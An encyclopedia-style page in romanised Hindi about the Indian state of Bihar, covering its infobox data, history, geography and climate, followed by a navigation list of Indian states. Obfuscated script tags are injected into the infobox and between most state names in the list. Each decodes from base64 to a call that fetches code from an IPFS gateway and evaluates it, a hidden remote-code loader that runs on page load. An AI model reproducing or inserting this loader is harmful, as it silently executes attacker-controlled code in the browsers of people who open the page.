बिहार

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bihar
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rajadhani	patana
rajabhasha(ean)	hindi bhasha, aangrezi bhasha, urdoo bhasha, bhojapuri bhasha, magahi bhasha, maithili bhasha
janasankhya	10,38,04,637
· ghanatv	1,102 /varg kimi
kshetraphal	94,163 varg kimi
bhaugolik nirdeshaank	25.37°N 85.13°E
tapaman	27 °C (ausat)
· grishm	34 °C
· sharad	10 °C
zile	38
liang anupat	1000:916 ♂/♀
saksharata	63.82%
· stri	53.33%
· purush	73.39%
uchch nyayalay	patana uchch nyayalay
rajyapal	phagu chauhan
mukhyamantri	nitish kumar
bahari k diyaan	adhikarik vebasait
adyatan‎	15:54, 30 janavari 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bihar (aangrezi:Bihar) bharat ke pramukh rajh‍yoan mean se ek hai. isake uttar mean nepal, poorv mean pashchim bangal, pashchim mean uttar pradesh tatha dakshin mean jharakhand rajh‍y haian. yahaan anek nadiyaan bahati haian jinamean ganga pramukh hai. anh‍y nadiyaan haian- son, pupun, phalgu, karmanasha, durgavati, kosi, gandak, ghaghara adi. bihar ganga tatha usaki sahayak nadiyoan ke maidan mean basa hai. jharakhand ke alag hone ke bad bihar ki bhoomi mukhyatah nadiyoan ke maidan aur samatal bhoobhag hai. bihar ganga ke poorvi maidan mean hai. ganga nadi pradesh ke lagabhag bichoan bich hokar bahati hai. uttari bihar bagamati, kosi, gandak, son aur unaki sahayak nadiyoan ka samatal maidan hai. bihar ke uttar mean himalay parvat shreni hai aur dakshin mean chhota nagapur pathar hai jisaka hissa ab jharakhand hai. uttar se kee nadiyaan bihar se hokar bahati haian aur ganga mean mil jati haian. in nadiyoan mean, varsha rritu mean badh bahut b di samasya hai. bihar mean sthit odantapuri 'purana nam udantapuri' ko terahavian sadi ke prarambh mean musalaman akraantaoan ne nasht kar diya.

itihas

bihar ka ulh‍lekh vedoan, puranoan aur prachin mahakavh‍yoan mean milata hai. yah rajh‍y mahath‍ma buddh aur 24 jain tirthakaroan ki karmabhoomi raha haian. eesa poorv kal mean is kshetr par bimbisar, pataliputr ki sh‍thapana karane vale udayan, chandragupt maury aur samrat ashok sahit maury, shuang tatha kanh‍v rajavansh ke nareshoan ne raj kiya isake pashh‍chat kushan shasakoan ka samay aya aur bad mean guph‍t vansh ke chandragupt vikramadity ne bihar par raj kiya. madhh‍yakal mean muslim shasakoan ka is kshetr par adhikar raha. bihar par sabase pahale vijay pane vala muslim shasak 'mohamh‍mad bin bakhtiyar khilaji' tha. khilaji vansh ke bad tugalaq vansh tatha mugal vansh ka adhipath‍y raha tha. d aauktar aansari (1880-1936 ee.) ek pramukh musalaman rashtriyatavadi neta the. unaka janm bihar mean hua.

bhoogol

prakritik roop se yah rajy ganga nadi dvara do bhagoan mean vibhajit hai, uttar bihar maidan aur dakshin bihar maidan. sudoor pashchimottar mean himalay ki taraee ko chho dakar ganga ka uttari maidan samudr tal se 75 mitar se bhi kam ki ooanchaee par jalodh samatali kshetr ka nirman karata hai aur yahaan badh ane ki sanbhavana hamesha bani rahati hai. ghaghara gandak, bagamati, kosi, mahananda aur any nadiyaan nepal mean himalay se niche utarati haian aur alag-alag jalamargoan se hoti huee ganga mean milati haian. [[chitr:Vaishali-Bihar.jpg|thumb|250px|left|vaishali, bihar]] jhiloan aur gart lupt ho chuki in dharaoan ke praman haian. vinashakari badh lane ke lie lanbe samay tak 'bihar ka shok' mani jane vali kosi nadi ab kritrim potarohanoan mean simit ho gee hai. uttari maidan ki mitti zyadatar nee kachhari mitti hai, jisamean boodhi gandak nadi ke pashchim mean kh diyayukt v halki kan vali (zyadatar domat baluee) aur poorv mean kh diyamukt v bhari kan vali (domat chikani) mitti hai. himalay ke bhookanpiy kshetr mean sthit hone ke karan yah kshetr ek any prakritik apada (bhookanpiy gatividhiyoan) se prabhavit hai. 1934 aur 1988 ke bhishan bhookanp ne bhari tabahi huee aur jan-mal ko kshati pahuanchi.
dakshin-pashchim mean son ghati ke par sthit kaimoor pathar mean kshaitij balukashm ki parat choona-patthar ki paratoan se dhaki hai. uttar ke muqabale dakshin gaangey maidan zyada vividh hai aur anek paha diyoan ka utthan kachhari satah se hota hai. son nadi ko chho dakar sabhi nadiyaan chhoti haian, jinake jal ko sianchaee naharoan ki or mo d diya jata hai. yahaan ki mrida kali chikani ya pili domat mitti se sanghatit apekshakrit purani jalodhiy hai. yah khasakar kshetr ke dakshin ki or anurvar v ratili hai.

jalavayu

bihar mean mukhy roop se tin rrituean haian:-

1. march se mukhy joon tak grishm rritu
2. madhy joon se aktoobar tak dakshin-pashchim m aaunasoon vali varsha rritu
3. navanbar se faravari tak shit rritu hai.

sudoor uttar ko chho dakar mee rajy ka sabase garm mahina hota hai, jisamean tapaman 32°C ko bhi par kar jata hai. rajy mean samany varshik varsha pashchim-madhy mean 1,016 mimi aur sudoor uttar mean 1,524 mimi ke bich hoti hai. lagabhag sanpoorn varsha (85-90 pratishat) joon aur aktoobar ke bich hoti hai aur salana varsha ka lagabhag 50 pratishat julaee v agast mahine mean hota hai. bihar mean shit rritu varsha ka sabase suhavana mausam hota hai.

arthavyavastha

dekhean:bharat ek jhalak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> telangana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandhr pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arunachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> asam <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div 